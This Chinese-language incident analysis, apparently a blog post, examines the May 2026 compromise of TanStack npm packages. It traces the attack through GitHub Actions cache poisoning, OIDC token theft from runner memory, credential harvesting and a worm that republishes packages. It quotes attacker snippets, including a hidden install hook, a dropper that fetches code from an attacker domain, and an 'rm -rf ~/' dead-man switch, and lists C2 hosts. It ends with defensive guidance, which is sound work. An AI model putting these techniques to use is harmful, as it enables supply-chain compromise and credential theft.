> 来源:TanStack官方Postmortem、Snyk技术分析、Wiz安全报告、Lyrie.ai研究、GitHub Security Advisory GHSA-g7cv-rxg3-hmpx > 作者:小凯 > 日期:2026-05-14 > 事件编号:CVE-2026-45321
---
一句话总结
2026年5月11日,威胁组织TeamPCP利用GitHub Actions的三个"特性"——pull_request_target触发器、跨信任边界的缓存机制、以及内存中的OIDC令牌——在不盗取任何凭证的情况下,通过TanStack自身的合法发布流水线,在11分钟内发布了84个携带有效SLSA Build Level 3证明的恶意npm包,触发了供应链安全的范式危机。
---
一、事件全景:精确到分钟的时间线与影响范围
1.1 攻击时间线(UTC)
| 时间 | 事件 |
|---|---|
| 5月10日 17:16 | 攻击者创建fork github.com/zblgg/configuration(故意重命名以逃避fork列表搜索) |
| 5月10日 23:29 | 恶意commit 65bf499d 以伪造身份 claude 提交,添加 packages/history/vite_setup.mjs(~30,000行混淆JS) |
| 5月11日 ~10:49 | PR #7378 打开,标题 "WIP: simplify history build" |
| 5月11日 11:01-11:11 | 多次force-push,触发 pull_request_target 工作流 |
| 5月11日 11:29 | 1.1 GB的poisoned cache entry保存到GitHub Actions cache,key: Linux-pnpm-store-6f9233a50def742c09fde54f56553d6b449a535adf87d4083690539f49ae4da11 |
| 5月11日 11:31 | 攻击者force-push PR回零差异状态并关闭,cache poison保留 |
| 5月11日 19:15 | 合法PR #7369合并到main,触发 release.yml |
| 5月11日 19:20:39 | 第一批42个恶意包发布到npm |
| 5月11日 19:20:47 | 工作流run 25613093674完成,状态:failure |
| 5月11日 19:16 | 合法PR #7382合并,触发第二个release工作流 |
| 5月11日 19:26:14 | 第二批42个恶意包发布 |
| 5月11日 19:26:20 | 工作流run 25691781302完成,状态:failure |
| 5月11日 ~19:50 | StepSecurity研究员ashishkurmi发现并公开报告issue #7383 |
| 5月11日 ~21:00 | TanStack确认范围:42包,84版本;开始deprecation |
1.2 影响范围
直接受害者:
- **42个@tanstack/*包,84个版本(每个包2个版本)
@tanstack/react-router每周下载量约 1270万次- 其他知名包:
@tanstack/history,@tanstack/react-start,@tanstack/vue-router等
mistralai==2.4.6, guardrails-ai==0.10.1---
二、攻击链解剖:三阶段精密打击
Stage 1: Pwn Request + Cache Poisoning(5月10-11日,预攻击阶段)
#### 2.1.1 pull_request_target 的致命陷阱
bundle-size.yml 的配置:
on:
pull_request_target:
paths: ['packages/**', 'benchmarks/**']
jobs:
benchmark-pr:
steps:
- uses: actions/checkout@v6.0.2
with:
ref: refs/pull/${{ github.event.pull_request.number }}/merge # ← 执行fork代码
- uses: TanStack/config/.github/setup@main # ← 调用cache
- run: pnpm nx run @benchmarks/bundle-size:build # ← 执行恶意vite_setup.mjs
信任边界破裂点:
pull_request_target在
actions/checkout 被配置为检出1.
actions/cache@v5的post-job save使用runner-internal token,不是workflow的GITHUB_TOKEN。设置 permissions: contents: read 无法阻止cache写入。
2. Cache scope是per-repo的,跨 pull_request_target 运行(使用base repo的cache scope)和main分支的push共享。PR运行在base repo的cache scope中,可以poison之后production workflow会restore的entry。#### 2.1.2 缓存投毒的艺术
恶意 vite_setup.mjs 并非立即窃取数据,而是将恶意数据写入pnpm store,使用key:Linux-pnpm-store-${hashFiles('
release.yml 会查找的key。攻击者在11:29完成cache poison,然后force-push PR回零差异状态并关闭。整个过程在代码库中不留任何痕迹——恶意commit存在于fork网络中,但PR看起来从未合并。
Stage 2: OIDC Token Runtime Extraction(5月11日 19:15-19:26,引爆阶段)
#### 2.2.1 内存提取OIDC令牌
release.yml 合法地声明了 id-token: write(npm OIDC trusted publishing所需)。当poisoned pnpm cache被restore后,恶意二进制在build阶段执行:
1. 通过 /proc/*/cmdline 定位 Runner.Worker 进程
2. 读取 /proc/ 和 /proc/ dump worker的地址空间
3. 提取OIDC token(runner在内存中lazy mint,当 id-token: write 设置时)
4. 直接POST到 registry.npmjs.org 进行认证发布
这是2025年3月tj-actions/changed-files事件中使用过的相同技术——攻击者甚至没有写新代码,直接复制了公开的攻击脚本(连attribution comment都保留了)。
#### 2.2.2 SLSA Build Level 3 证明的生成
发布的84个包全部携带有效的Sigstore provenance attestation。SLSA证明正确验证了:这些包是由 release.yml 在 refs/heads/main 分支的 TanStack/router 仓库中构建和发布的。
这一切都为真。问题是:构建环境本身已经被劫持了。
两个workflow run都完成了,状态为 failure。test failures导致Publish步骤被跳过,但恶意发布已经完成。这是一个完美的讽刺:正是"tests失败"这个表面上的"安全措施",掩盖了更严重的安全事件。
Stage 3: Self-Propagation & Credential Harvest(安装阶段)
#### 2.3.1 双重感染向量
每个恶意包包含两个感染机制:
向量A:optionalDependencies注入
"optionalDependencies": {
"@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}
@tanstack/setup不是真实npm包- GitHub URL解析到fork网络中的orphan commit
- npm fetch该commit,运行
preparelifecycle script:bun run tanstack_runner.js && exit 1 && exit 1让optional install"优雅地失败",几乎不在日志中留痕迹
- 2.3 MB混淆JS文件,直接放在tarball root
- 不在package的
"files"数组中声明,对静态分析隐藏
router_init.js 使用Upwind Security完整逆向的三层保护:
Layer 1: JavaScript Obfuscator标准模式——自执行字符串数组旋转bootstrap + dispatcher函数 _0x253b(单源代码行上被调用2,864次)。所有字符串字面量被数组查找替换。
Layer 2: 逐字节Fisher-Yates替换密码。密钥通过PBKDF2-SHA256派生,master key 0c0e873033875f1bc471eda37e3b9d0f9b89bd41a4bbb4f86746caa2186c40aa,salt svksjrhjkcejg,200,000次迭代——故意慢速以抵抗自动分析。
Layer 3: 11个AES-256-GCM加密payload,gzip压缩,需要Bun runtime (Bun.gunzipSync)解密。
逆向工程使用 webcrack 2.16.0 从11.7 MB混淆blob中产出221,771行可读JavaScript。
#### 2.3.3 凭证收割矩阵
payload执行系统性的凭证平面扫描:
GitHub Actions: GITHUB_REPOSITORY, ACTIONS_ID_TOKEN_REQUEST_TOKEN, ACTIONS_ID_TOKEN_REQUEST_URL,REST API获取secrets (GET /repos/)
AWS: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_ROLE_ARN, IMDSv2 (正确实现,能绕过 hardened instances), ECS Task Metadata (169.254.170.2), Secrets Manager和SSM Parameter Store枚举
HashiCorp Vault: VAULT_TOKEN, VAULT_ADDR, vault.svc.cluster.local:8200 (K8s内部端点)
Kubernetes: /var/run/secrets/kubernetes.io/serviceaccount/ service account tokens
工作站: ~/.npmrc, ~/.git-credentials, SSH私钥 (~/.ssh/), ~/.claude/projects/*.jsonl (Claude Code session history)
有趣细节:runner memory scraper 故意跳过明确命名为 github_token 的token——可能是为了避免触发GitHub自己的secret-scanning。
#### 2.3.4 三重C2外渗架构
1. Typosquat domain: git-tanstack.com
2. Session/Oxen P2P messenger network: filev2.getsession.org, seed{1,2,3}.getsession.org —— 端到端加密,无攻击者控制的C2服务器,IP/domain block是唯一网络层缓解
3. GitHub API dead drops: 使用偷来的token创建Dune主题仓库,描述 Shai-Hulud: Here We Go Again,分支名 dependabout/.../setup-formatter (注意:dependabout,不是dependabot)
Session网络是新增能力——去中心化、抗下架,比专用域名或GitHub外渗更难阻断。
#### 2.3.5 自传播蠕虫逻辑
// 枚举受害者维护的所有包
GET registry.npmjs.org/-/v1/search?text=maintainer:<victim>
// 使用偷来的OIDC身份重新发布,携带相同注入
蠕虫使用 generateKeyPairSync 和 sign 为每个重新发布的包伪造Sigstore-compatible in-toto provenance attestations。这意味着二次受害者的包也携带看似有效的SLSA provenance——SLSA的失败模式延伸到蠕虫传播包。
---
三、"死人开关"与心理战
3.1 gh-token-monitor:复仇机制
恶意软件在开发者机器上安装持久化daemon:
macOS: ~/Library/LaunchAgents/com.user.gh-token-monitor.plist
Linux: ~/.config/systemd/user/gh-token-monitor.service
行为:每60秒用偷来的GitHub token poll api.github.com/user。
触发条件:收到40x响应(token被撤销)→ 执行 rm -rf ~/。
24小时自动退出:如果没有触发,daemon在24小时后自动退出。
3.2 撤销顺序至关重要
正确的应急顺序: 1. 先禁用monitor service(找到并kill gh-token-monitor进程,删除plist/service文件) 2. 然后撤销token
如果顺序颠倒——先撤销token再处理monitor——monitor会在下一次poll时触发home directory destruction。
这个设计既是技术机制,也是心理战工具:它制造了一种"damned if you do, damned if you don't"的困境,延缓受害者的响应速度。
3.3 Python变种的地理政治条件逻辑
PyPI包 mistralai==2.4.6 和 guardrails-ai==0.10.1 的payload包含13行新增代码:
# 下载并执行 git-tanstack.com/tmp/transformers.pyz
这个Python dropper:
- 仅在Linux上执行,如果系统语言是俄语则退出
- 如果位置设置为以色列或伊朗:调用
random.randint(1,6),如果等于2,播放MP3文件(全音量)然后执行rm -rf - 收集1Password和Bitwarden密码库(首次出现)
- 外渗到
83.142.209.194
--no-preserve-root 的 rm -rf 会失败,但攻击者在May 13更新了payload修复了这个bug。---
四、SLSA证明的崩塌:信任模型的根本缺陷
4.1 第一次:有效SLSA Build Level 3的恶意包
这是首次 documented case 的npm蠕虫产生有效SLSA Build Level 3 provenance的恶意包。
Sigstore的attestation验证了:
- ✅ 包由
release.yml构建 - ✅ 在
refs/heads/main分支 - ✅ 在
TanStack/router仓库
4.2 可利用的OIDC配置 vs 安全配置
脆弱配置(攻击前TanStack使用):
permissions:
id-token: write # 整个workflow级别
contents: read
安全配置:
permissions: {} # workflow级别无权限
jobs:
publish:
permissions:
id-token: write # 仅publish job需要
contents: read
environment: npm # 额外审批层
4.3 SLSA的正确理解
SLSA provenance证明的是构建链路的完整性(从源代码到artifact),不是:
- 工作流是否被授权运行
- 工作流是否从受保护分支执行
- 触发工作流的commit是否合法
---
五、攻击归因:TeamPCP 与 Shai-Hulud 蠕虫家族
5.1 四波攻击演进
| 波次 | 日期 | 规模 | 关键技术升级 |
|---|---|---|---|
| Wave 1 | 2025-09-14~16 | 500+包,700+仓库 | 首个自传播npm蠕虫;TruffleHog secret提取 |
| Wave 2 | 2025-11-21~23 | 492包,132M月下载,25,000+仓库 | preinstall hook(无需人工交互);home directory destruction fallback |
| Wave 3 | 2026-04-29 | SAP/Intercom生态 | AI coding agent persistence (.claude/settings.json);加密外渗;俄语豁免 |
| Wave 4 | 2026-05-11 | 373版本,169包 | OIDC runtime extraction;有效SLSA Build Level 3 provenance;Session P2P C2 |
5.2 TeamPCP 特征
- 别名:DeadCatx3, PCPcat, ShellForce, CipherForce
- Unit 42记录:与Vect勒索软件组织在BreachForums上宣布合作
- 俄语豁免 + 以色列/伊朗特殊处理 → 强烈暗示俄罗斯adjacent threat actor
- 代码指纹:
ctf-scramble-v2Fisher-Yates PRNG(seed0x3039/12345)在Bitwarden CLI、SAP、TanStack三波中逐字出现
六、防御指南:从紧急响应到长期加固
6.1 紧急响应(如果你可能受影响)
Step 0: 确认暴露
# 检查lockfile中是否有受影响版本
npm pack @tanstack/<name>@<version> # 下载tarball,不执行lifecycle scripts
tar -xzf *.tgz
grep -A3 optionalDependencies package/package.json
ls -la package/router_init.js # 如果存在,即为恶意payload
Step 1: 先禁用 persistence,再撤销凭证
# Linux
systemctl --user stop gh-token-monitor.service
rm ~/.config/systemd/user/gh-token-monitor.service
systemctl --user daemon-reload
# macOS
launchctl unload ~/Library/LaunchAgents/com.user.gh-token-monitor.plist
rm ~/Library/LaunchAgents/com.user.gh-token-monitor.plist
# 删除IDE持久化钩子
rm -f .claude/router_runtime.js .claude/setup.mjs .vscode/setup.mjs
Step 2: 轮换所有凭证(按优先级):
1. npm publish tokens和OIDC federation grants
2. GitHub PATs和fine-grained tokens
3. AWS凭证(静态keys和instance role trusts)
4. HashiCorp Vault tokens
5. Kubernetes service account tokens
6. SSH私钥
7. GCP service account credentials
8. ~/.claude/projects/*.jsonl 中的任何secrets
Step 3: 网络层阻断
- DNS级别block:
*.getsession.org,git-tanstack.com,api.masscan.cloud - 二级payload URLs:
litter.catbox.moe/h8nc9u.js,litter.catbox.moe/7rrc6l.mjs
6.2 GitHub Actions加固
审计所有 pull_request_target 工作流:
- 任何checkout PR代码并写入cache的工作流都易受cache poisoning
- 使用
pull_request(fork context,read-only)或完全分离fork代码执行与base-repo cache写入
# 清除所有缓存
gh api /repos/{owner}/{repo}/actions/caches --method GET | jq '.actions_caches[].id' | xargs -I{} gh api /repos/{owner}/{repo}/actions/caches/{} --method DELETE
Pin第三方action到SHA digests:
# 不安全
- uses: actions/checkout@v6.0.2
# 安全
- uses: actions/checkout@11bd71901bbe5b1630ceea73d2759748e75c9f8c # v6.0.2
最小权限原则:
permissions: {} # workflow级别
jobs:
publish:
permissions:
id-token: write # 仅此job
contents: read
启用debug日志:
# 在repo secrets中设置
ACTIONS_RUNNER_DEBUG=true # 记录OIDC token minting事件,便于检测劫持
6.3 供应链长期控制
Lockfile强制执行:
npm ci # 在CI中强制执行,不接受新解析
pnpm install --frozen-lockfile
npm provenance验证(仍然有价值,只是不够):
npm audit signatures # 阻止未签名包
发布冷却期:
// package.json
"publishConfig": {
"provenance": true,
"access": "public"
}
// 配合 npm v11+ allow-git=none 防止git-URL依赖安装
AI coding agent配置文件视为高权限攻击面:
.claude/,.cursor/,.github/copilot-instructions.md需要在code review中审查- 这些文件在npm uninstall后仍然存活,是持久化向量
6.4 为什么Bun用户更安全(但不完全安全)
Bun默认不执行lifecycle scripts,因此直接通过Bun安装受影响包不会触发payload。router_init.js 仍然存在于tarball中,但install-time攻击面减小。
---
七、哲学思考:为什么我们的信任边界如此脆弱?
7.1 三个根本问题
Q1: 为什么信任边界如此脆弱?
因为我们构建了"信任继承"的链条,但每个链接都假设前一个链接是干净的:
- GitHub Actions假设cache是干净的
- npm假设publisher是可信的
- SLSA假设build environment是受控的
- 开发者假设 "npm install" 是安全的
Q2: 为什么权限最小化在缓存面前形同虚设?
因为 actions/cache@v5 的post-job save使用runner-internal token,不是workflow GITHUB_TOKEN。这意味着:
permissions: contents: read无法阻止cache写入- cache scope跨
pull_request_target和main push共享 - 这是一个设计层面的信任边界破裂,不是配置错误
答案是:多层防御,不信任任何单层。
1. 行为分析补充静态签名:Snyk的自动行为分析在发布后6分钟内标记了所有84个artifact——在任何人review之前。静态provenance + 动态行为分析 = 互补控制。
2. 缓存隔离:明确分离fork cache和base cache。GitHub Actions的设计允许cross-boundary cache sharing,这是feature不是bug——但对于安全来说是anti-pattern。
3. 发布审批:OIDC trusted publishing的问题在于"一旦配置,workflow中任何代码路径都可以mint publish-capable token"。需要per-publish review或short-lived classic tokens with manual approval。
4. install-time沙箱:package managers需要默认隔离lifecycle scripts。Bun的不执行scripts default是一个好的方向,但还不够。
7.2 一个更深层的问题
这次攻击暴露了一个metaproblem:开源基础设施的"公共地悲剧"。
TanStack的 bundle-size.yml 是一个善意的性能监控工具。攻击者利用了"帮助开源项目变得更好"的善意基础设施,将其转化为武器。这类似于之前针对codecov、badge services的攻击模式。
当开源生态的"基础设施层"(GitHub Actions, npm registry, cache systems)成为攻击面,单个项目的安全实践无法保护自己——因为漏洞可能在依赖的共享基础设施中。
---
八、关键发现总结
| 维度 | 发现 |
|---|---|
| 攻击持续时间 | 预攻击 ~8小时(cache poison窗口),实际发布 11分钟 |
| 检测时间 | ~20分钟(外部研究员),0分钟内部检测 |
| 凭证窃取 | 0个长期token被盗,全部是runtime OIDC extraction |
| SLSA影响 | 首次有效SLSA Build Level 3恶意包 |
| 蠕虫传播 | 初始42包 → 169+包(二次传播) |
| 地理豁免 | 俄语系统跳过执行;以色列/伊朗触发特殊逻辑 |
| 持久化机制 | IDE config (.claude/, .vscode/) + system daemon |
| 死人开关 | gh-token-monitor,token撤销触发 rm -rf ~/ |
| C2架构 | 三重冗余:typosquat + Session P2P + GitHub dead drops |
| 归因 | TeamPCP(高置信度),与Vect勒索软件组织合作 |
九、参考来源
1. TanStack Official Postmortem (2026-05-11): https://tanstack.com/blog/npm-supply-chain-compromise-postmortem 2. Snyk Technical Analysis: https://snyk.io/blog/tanstack-npm-packages-compromised/ 3. Wiz Blog — Wave 4 Analysis: https://www.wiz.io/blog/mini-shai-hulud-strikes-again-tanstack-more-npm-packages-compromised 4. Lyrie.ai Research: https://lyrie.ai/research/research/mini-shai-hulud-wave4-tanstack-slsa-poisoning-supply-chain-postmortem 5. GitHub Security Advisory: GHSA-g7cv-rxg3-hmpx 6. CVE: CVE-2026-45321 7. StepSecurity Attribution: https://www.stepsecurity.io/blog/mini-shai-hulud-is-back-a-self-spreading-supply-chain-attack-hits-the-npm-ecosystem 8. SafeDep Report: https://safedep.io/mass-npm-supply-chain-attack-tanstack-mistral/ 9. Adnan Khan, "The Monsters in Your Build Cache" (May 2024): adnanthekhan.com 10. GitHub Security Lab, "Preventing Pwn Requests": securitylab.github.com
#网络安全 #供应链安全 #GitHubActions #npm #SLSA #MiniShaiHulud #TanStack #TeamPCP #小凯